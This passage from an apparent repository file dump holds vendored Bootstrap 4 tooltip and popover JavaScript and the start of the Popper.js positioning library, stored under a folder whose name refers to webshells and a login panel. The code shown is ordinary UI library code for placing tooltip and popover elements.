return;\n      }\n\n      context._timeout = setTimeout(function () {\n        if (context._hoverState === HoverState.OUT) {\n          context.hide();\n        }\n      }, context.config.delay.hide);\n    };\n\n    Tooltip.prototype._isWithActiveTrigger = function _isWithActiveTrigger() {\n      for (var trigger in this._activeTrigger) {\n        if (this._activeTrigger[trigger]) {\n          return true;\n        }\n      }\n\n      return false;\n    };\n\n    Tooltip.prototype._getConfig = function _getConfig(config) {\n      config = $.extend({}, this.constructor.Default, $(this.element).data(), config);\n\n      if (config.delay && typeof config.delay === 'number') {\n        config.delay = {\n          show: config.delay,\n          hide: config.delay\n        };\n      }\n\n      if (config.title && typeof config.title === 'number') {\n        config.title = config.title.toString();\n      }\n\n      if (config.content && typeof config.content === 'number') {\n        config.content = config.content.toString();\n      }\n\n      Util.typeCheckConfig(NAME, config, this.constructor.DefaultType);\n\n      return config;\n    };\n\n    Tooltip.prototype._getDelegateConfig = function _getDelegateConfig() {\n      var config = {};\n\n      if (this.config) {\n        for (var key in this.config) {\n          if (this.constructor.Default[key] !== this.config[key]) {\n            config[key] = this.config[key];\n          }\n        }\n      }\n\n      return config;\n    };\n\n    Tooltip.prototype._cleanTipClass = function _cleanTipClass() {\n      var $tip = $(this.getTipElement());\n      var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX);\n      if (tabClass !== null && tabClass.length > 0) {\n        $tip.removeClass(tabClass.join(''));\n      }\n    };\n\n    Tooltip.prototype._handlePopperPlacementChange = function _handlePopperPlacementChange(data) {\n      this._cleanTipClass();\n      this.addAttachmentClass(this._getAttachment(data.placement));\n    };\n\n    Tooltip.prototype._fixTransition = function _fixTransition() {\n      var tip = this.getTipElement();\n      var initConfigAnimation = this.config.animation;\n      if (tip.getAttribute('x-placement') !== null) {\n        return;\n      }\n      $(tip).removeClass(ClassName.FADE);\n      this.config.animation = false;\n      this.hide();\n      this.show();\n      this.config.animation = initConfigAnimation;\n    };\n\n    // static\n\n    Tooltip._jQueryInterface = function _jQueryInterface(config) {\n      return this.each(function () {\n        var data = $(this).data(DATA_KEY);\n        var _config = (typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object' && config;\n\n        if (!data && /dispose|hide/.test(config)) {\n          return;\n        }\n\n        if (!data) {\n          data = new Tooltip(this, _config);\n          $(this).data(DATA_KEY, data);\n        }\n\n        if (typeof config === 'string') {\n          if (data[config] === undefined) {\n            throw new Error('No method named \"' + config + '\"');\n          }\n          data[config]();\n        }\n      });\n    };\n\n    _createClass(Tooltip, null, [{\n      key: 'VERSION',\n      get: function get() {\n        return VERSION;\n      }\n    }, {\n      key: 'Default',\n      get: function get() {\n        return Default;\n      }\n    }, {\n      key: 'NAME',\n      get: function get() {\n        return NAME;\n      }\n    }, {\n      key: 'DATA_KEY',\n      get: function get() {\n        return DATA_KEY;\n      }\n    }, {\n      key: 'Event',\n      get: function get() {\n        return Event;\n      }\n    }, {\n      key: 'EVENT_KEY',\n      get: function get() {\n        return EVENT_KEY;\n      }\n    }, {\n      key: 'DefaultType',\n      get: function get() {\n        return DefaultType;\n      }\n    }]);\n\n    return Tooltip;\n  }();\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Tooltip._jQueryInterface;\n  $.fn[NAME].Constructor = Tooltip;\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT;\n    return Tooltip._jQueryInterface;\n  };\n\n  return Tooltip;\n}(jQuery);\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0-beta): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nvar Popover = function ($) {\n\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  var NAME = 'popover';\n  var VERSION = '4.0.0-beta';\n  var DATA_KEY = 'bs.popover';\n  var EVENT_KEY = '.' + DATA_KEY;\n  var JQUERY_NO_CONFLICT = $.fn[NAME];\n  var CLASS_PREFIX = 'bs-popover';\n  var BSCLS_PREFIX_REGEX = new RegExp('(^|\\\\s)' + CLASS_PREFIX + '\\\\S+', 'g');\n\n  var Default = $.extend({}, Tooltip.Default, {\n    placement: 'right',\n    trigger: 'click',\n    content: '',\n    template: '<div class=\"popover\" role=\"tooltip\">' + '<div class=\"arrow\"></div>' + '<h3 class=\"popover-header\"></h3>' + '<div class=\"popover-body\"></div></div>'\n  });\n\n  var DefaultType = $.extend({}, Tooltip.DefaultType, {\n    content: '(string|element|function)'\n  });\n\n  var ClassName = {\n    FADE: 'fade',\n    SHOW: 'show'\n  };\n\n  var Selector = {\n    TITLE: '.popover-header',\n    CONTENT: '.popover-body'\n  };\n\n  var Event = {\n    HIDE: 'hide' + EVENT_KEY,\n    HIDDEN: 'hidden' + EVENT_KEY,\n    SHOW: 'show' + EVENT_KEY,\n    SHOWN: 'shown' + EVENT_KEY,\n    INSERTED: 'inserted' + EVENT_KEY,\n    CLICK: 'click' + EVENT_KEY,\n    FOCUSIN: 'focusin' + EVENT_KEY,\n    FOCUSOUT: 'focusout' + EVENT_KEY,\n    MOUSEENTER: 'mouseenter' + EVENT_KEY,\n    MOUSELEAVE: 'mouseleave' + EVENT_KEY\n\n    /**\n     * ------------------------------------------------------------------------\n     * Class Definition\n     * ------------------------------------------------------------------------\n     */\n\n  };\n  var Popover = function (_Tooltip) {\n    _inherits(Popover, _Tooltip);\n\n    function Popover() {\n      _classCallCheck(this, Popover);\n\n      return _possibleConstructorReturn(this, _Tooltip.apply(this, arguments));\n    }\n\n    // overrides\n\n    Popover.prototype.isWithContent = function isWithContent() {\n      return this.getTitle() || this._getContent();\n    };\n\n    Popover.prototype.addAttachmentClass = function addAttachmentClass(attachment) {\n      $(this.getTipElement()).addClass(CLASS_PREFIX + '-' + attachment);\n    };\n\n    Popover.prototype.getTipElement = function getTipElement() {\n      return this.tip = this.tip || $(this.config.template)[0];\n    };\n\n    Popover.prototype.setContent = function setContent() {\n      var $tip = $(this.getTipElement());\n\n      // we use append for html objects to maintain js events\n      this.setElementContent($tip.find(Selector.TITLE), this.getTitle());\n      this.setElementContent($tip.find(Selector.CONTENT), this._getContent());\n\n      $tip.removeClass(ClassName.FADE + ' ' + ClassName.SHOW);\n    };\n\n    // private\n\n    Popover.prototype._getContent = function _getContent() {\n      return this.element.getAttribute('data-content') || (typeof this.config.content === 'function' ? this.config.content.call(this.element) : this.config.content);\n    };\n\n    Popover.prototype._cleanTipClass = function _cleanTipClass() {\n      var $tip = $(this.getTipElement());\n      var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX);\n      if (tabClass !== null && tabClass.length > 0) {\n        $tip.removeClass(tabClass.join(''));\n      }\n    };\n\n    // static\n\n    Popover._jQueryInterface = function _jQueryInterface(config) {\n      return this.each(function () {\n        var data = $(this).data(DATA_KEY);\n        var _config = (typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object' ? config : null;\n\n        if (!data && /destroy|hide/.test(config)) {\n          return;\n        }\n\n        if (!data) {\n          data = new Popover(this, _config);\n          $(this).data(DATA_KEY, data);\n        }\n\n        if (typeof config === 'string') {\n          if (data[config] === undefined) {\n            throw new Error('No method named \"' + config + '\"');\n          }\n          data[config]();\n        }\n      });\n    };\n\n    _createClass(Popover, null, [{\n      key: 'VERSION',\n\n\n      // getters\n\n      get: function get() {\n        return VERSION;\n      }\n    }, {\n      key: 'Default',\n      get: function get() {\n        return Default;\n      }\n    }, {\n      key: 'NAME',\n      get: function get() {\n        return NAME;\n      }\n    }, {\n      key: 'DATA_KEY',\n      get: function get() {\n        return DATA_KEY;\n      }\n    }, {\n      key: 'Event',\n      get: function get() {\n        return Event;\n      }\n    }, {\n      key: 'EVENT_KEY',\n      get: function get() {\n        return EVENT_KEY;\n      }\n    }, {\n      key: 'DefaultType',\n      get: function get() {\n        return DefaultType;\n      }\n    }]);\n\n    return Popover;\n  }(Tooltip);\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Popover._jQueryInterface;\n  $.fn[NAME].Constructor = Popover;\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT;\n    return Popover._jQueryInterface;\n  };\n\n  return Popover;\n}(jQuery);\n\n\n})();"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/vendor/bootstrap/js/popper.js",
    "content": "/**!\n * @fileOverview Kickass library to create and place poppers near their reference elements.\n * @version 1.12.5\n * @license\n * Copyright (c) 2016 Federico Zivolo and contributors\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n(function (global, factory) {\n\ttypeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :\n\ttypeof define === 'function' && define.amd ? define(factory) :\n\t(global.Popper = factory());\n}(this, (function () { 'use strict';\n\nvar nativeHints = ['native code', '[object MutationObserverConstructor]'];\n\n/**\n * Determine if a function is implemented natively (as opposed to a polyfill).\n * @method\n * @memberof Popper.Utils\n * @argument {Function | undefined} fn the function to check\n * @returns {Boolean}\n */\nvar isNative = (function (fn) {\n  return nativeHints.some(function (hint) {\n    return (fn || '').toString().indexOf(hint) > -1;\n  });\n});\n\nvar isBrowser = typeof window !== 'undefined';\nvar longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nvar timeoutDuration = 0;\nfor (var i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nfunction microtaskDebounce(fn) {\n  var scheduled = false;\n  var i = 0;\n  var elem = document.createElement('span');\n\n  // MutationObserver provides a mechanism for scheduling microtasks, which\n  // are scheduled *before* the next task. This gives us a way to debounce\n  // a function but ensure it's called *before* the next paint.\n  var observer = new MutationObserver(function () {\n    fn();\n    scheduled = false;\n  });\n\n  observer.observe(elem, { attributes: true });\n\n  return function () {\n    if (!scheduled) {\n      scheduled = true;\n      elem.setAttribute('x-index', i);\n      i = i + 1; // don't use compund (+=) because it doesn't get optimized in V8\n    }\n  };\n}\n\nfunction taskDebounce(fn) {\n  var scheduled = false;\n  return function () {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(function () {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\n// It's common for MutationObserver polyfills to be seen in the wild, however\n// these rely on Mutation Events which only occur when an element is connected\n// to the DOM. The algorithm used in this module does not use a connected element,\n// and so we must ensure that a *native* MutationObserver is available.\nvar supportsNativeMutationObserver = isBrowser && isNative(window.MutationObserver);\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nvar debounce = supportsNativeMutationObserver ? microtaskDebounce : taskDebounce;\n\n/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nfunction isFunction(functionToCheck) {\n  var getType = {};\n  return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';\n}\n\n/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nfunction getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  var css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n\n/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nfunction getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nfunction getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element || ['HTML', 'BODY', '#document'].indexOf(element.nodeName) !== -1) {\n    return window.document.body;\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n\n  var _getStyleComputedProp = getStyleComputedProperty(element),\n      overflow = _getStyleComputedProp.overflow,\n      overflowX = _getStyleComputedProp.overflowX,\n      overflowY = _getStyleComputedProp.overflowY;\n\n  if (/(auto|scroll)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nfunction getOffsetParent(element) {\n  // NOTE: 1 DOM access here\n  var offsetParent = element && element.offsetParent;\n  var nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return window.document.documentElement;\n  }\n\n  // .offsetParent will return the closest TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (['TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n\nfunction isOffsetContainer(element) {\n  var nodeName = element.nodeName;\n\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;\n}\n\n/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nfunction getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nfunction findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return window.document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;\n  var start = order ? element1 : element2;\n  var end = order ? element2 : element1;\n\n  // Get common ancestor container\n  var range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  var commonAncestorContainer = range.commonAncestorContainer;\n\n  // Both nodes are inside #document\n\n  if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  var element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n\n/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nfunction getScroll(element) {\n  var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';\n\n  var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  var nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    var html = window.document.documentElement;\n    var scrollingElement = window.document.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nfunction includeScroll(rect, element) {\n  var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n  var scrollTop = getScroll(element, 'top');\n  var scrollLeft = getScroll(element, 'left');\n  var modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n\n/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nfunction getBordersSize(styles, axis) {\n  var sideA = axis === 'x' ? 'Left' : 'Top';\n  var sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return +styles['border' + sideA + 'Width'].split('px')[0] + +styles['border' + sideB + 'Width'].split('px')[0];\n}\n\n/**\n * Tells if you are running Internet Explorer 10\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean} isIE10\n */\nvar isIE10 = undefined;\n\nvar isIE10$1 = function () {\n  if (isIE10 === undefined) {\n    isIE10 = navigator.appVersion.indexOf('MSIE 10') !== -1;\n  }\n  return isIE10;\n};\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE10$1() ? html['offset' + axis] + computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')] + computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')] : 0);\n}\n\nfunction getWindowSizes() {\n  var body = window.document.body;\n  var html = window.document.documentElement;\n  var computedStyle = isIE10$1() && window.getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle)\n  };\n}\n\nvar classCallCheck = function (instance, Constructor) {\n  if (!(instance instanceof Constructor)) {\n    throw new TypeError(\"Cannot call a class as a function\");\n  }\n};\n\nvar createClass = function () {\n  function defineProperties(target, props) {\n    for (var i = 0; i < props.length; i++) {\n      var descriptor = props[i];\n      descriptor.enumerable = descriptor.enumerable || false;\n      descriptor.configurable = true;\n      if (\"value\" in descriptor) descriptor.writable = true;\n      Object.defineProperty(target, descriptor.key, descriptor);\n    }\n  }\n\n  return function (Constructor, protoProps, staticProps) {\n    if (protoProps) defineProperties(Constructor.prototype, protoProps);\n    if (staticProps) defineProperties(Constructor, staticProps);\n    return Constructor;\n  };\n}();\n\n\n\n\n\nvar defineProperty = function (obj, key, value) {\n  if (key in obj) {\n    Object.defineProperty(obj, key, {\n      value: value,\n      enumerable: true,\n      configurable: true,\n      writable: true\n    });\n  } else {\n    obj[key] = value;\n  }\n\n  return obj;\n};\n\nvar _extends = Object.assign || function (target) {\n  for (var i = 1; i < arguments.length; i++) {\n    var source = arguments[i];\n\n    for (var key in source) {\n      if (Object.prototype.hasOwnProperty.call(source, key)) {\n        target[key] = source[key];\n      }\n    }\n  }\n\n  return target;\n};\n\n/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nfunction getClientRect(offsets) {\n  return _extends({}, offsets, {\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height\n  });\n}\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nfunction getBoundingClientRect(element) {\n  var rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  if (isIE10$1()) {\n    try {\n      rect = element.getBoundingClientRect();\n      var scrollTop = getScroll(element, 'top');\n      var scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    } catch (err) {}\n  } else {\n    rect = element.getBoundingClientRect();\n  }\n\n  var result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top\n  };\n\n  // subtract scrollbar size from sizes\n  var sizes = element.nodeName === 'HTML' ? getWindowSizes() : {};\n  var width = sizes.width || element.clientWidth || result.right - result.left;\n  var height = sizes.height || element.clientHeight || result.bottom - result.top;\n\n  var horizScrollbar = element.offsetWidth - width;\n  var vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    var styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n\nfunction getOffsetRectRelativeToArbitraryNode(children, parent) {\n  var isIE10 = isIE10$1();\n  var isHTML = parent.nodeName === 'HTML';\n  var childrenRect = getBoundingClientRect(children);\n  var parentRect = getBoundingClientRect(parent);\n  var scrollParent = getScrollParent(children);\n\n  var styles = getStyleComputedProperty(parent);\n  var borderTopWidth = +styles.borderTopWidth.split('px')[0];\n  var borderLeftWidth = +styles.borderLeftWidth.split('px')[0];\n\n  var offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    var marginTop = +styles.marginTop.split('px')[0];\n    var marginLeft = +styles.marginLeft.split('px')[0];\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (isIE10 ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n\nfunction getViewportOffsetRectRelativeToArtbitraryNode(element) {\n  var html = window.document.documentElement;\n  var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  var width = Math.max(html.clientWidth, window.innerWidth || 0);\n  var height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  var scrollTop = getScroll(html);\n  var scrollLeft = getScroll(html, 'left');\n\n  var offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width: width,\n    height: height\n  };\n\n  return getClientRect(offset);\n}\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nfunction isFixed(element) {\n  var nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @returns {Object} Coordinates of the boundaries\n */\nfunction getBoundaries(popper, reference, padding, boundariesElement) {\n  // NOTE: 1 DOM access here\n  var boundaries = { top: 0, left: 0 };\n  var offsetParent = findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport') {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent);\n  } else {\n    // Handle other cases based on DOM element used as boundaries\n    var boundariesNode = void 0;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(popper));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = window.document.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = window.document.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent);\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      var _getWindowSizes = getWindowSizes(),\n          height = _getWindowSizes.height,\n          width = _getWindowSizes.width;\n\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  boundaries.left += padding;\n  boundaries.top += padding;\n  boundaries.right -= padding;\n  boundaries.bottom -= padding;\n\n  return boundaries;\n}\n\nfunction getArea(_ref) {\n  var width = _ref.width,\n      height = _ref.height;\n\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {\n  var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;\n\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  var boundaries = getBoundaries(popper, reference, padding, boundariesElement);\n\n  var rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height\n    }\n  };\n\n  var sortedAreas = Object.keys(rects).map(function (key) {\n    return _extends({\n      key: key\n    }, rects[key], {\n      area: getArea(rects[key])\n    });\n  }).sort(function (a, b) {\n    return b.area - a.area;\n  });\n\n  var filteredAreas = sortedAreas.filter(function (_ref2) {\n    var width = _ref2.width,\n        height = _ref2.height;\n    return width >= popper.clientWidth && height >= popper.clientHeight;\n  });\n\n  var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;\n\n  var variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? '-' + variation : '');\n}\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nfunction getReferenceOffsets(state, popper, reference) {\n  var commonOffsetParent = findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent);\n}\n\n/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nfunction getOuterSizes(element) {\n  var styles = window.getComputedStyle(element);\n  var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  var result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x\n  };\n  return result;\n}\n\n/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nfunction getOppositePlacement(placement) {\n  var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, function (matched) {\n    return hash[matched];\n  });\n}\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nfunction getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  var popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  var popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  var isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  var mainSide = isHoriz ? 'top' : 'left';\n  var secondarySide = isHoriz ? 'left' : 'top';\n  var 